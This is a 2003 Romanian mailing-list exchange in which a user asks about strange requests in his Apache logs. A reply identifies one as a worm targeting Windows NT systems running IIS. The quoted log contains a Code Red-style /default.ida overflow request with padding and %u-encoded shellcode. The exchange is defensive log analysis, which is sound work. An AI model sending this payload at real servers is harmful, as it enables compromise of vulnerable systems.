On Tuesday 03 June 2003 09:48, kale wrote:
> se poate stii ceea ce incearca sa faca respectivul (respectivii)?
> logurile sunt dintr-un apache si din cand in cand apar astfel de
> GET-uri. kale.
>
> 218.65.222.210 - - [15/May/2003:11:21:49 +0300] "GET
> http://cgi.sexswap.com/adswap.dll?showad?accountnumber=7560&PageNumbe
>r=0 HTTP/1.0" 404 204 212.93.129.69 - - [21/May/2003:09:36:41 +0300]
> "GET
> /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
>XXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3
>%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53
>1b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 205

Worm care incearca sa infecteze sisteme bazate pe NT (Windows NT, 2000, 
XP) cu IIS...

-- 
  Claudiu
  GPG Key: http://maya.cnixs.com/~claudiu/claudiu.gpg

Raspunde prin e-mail lui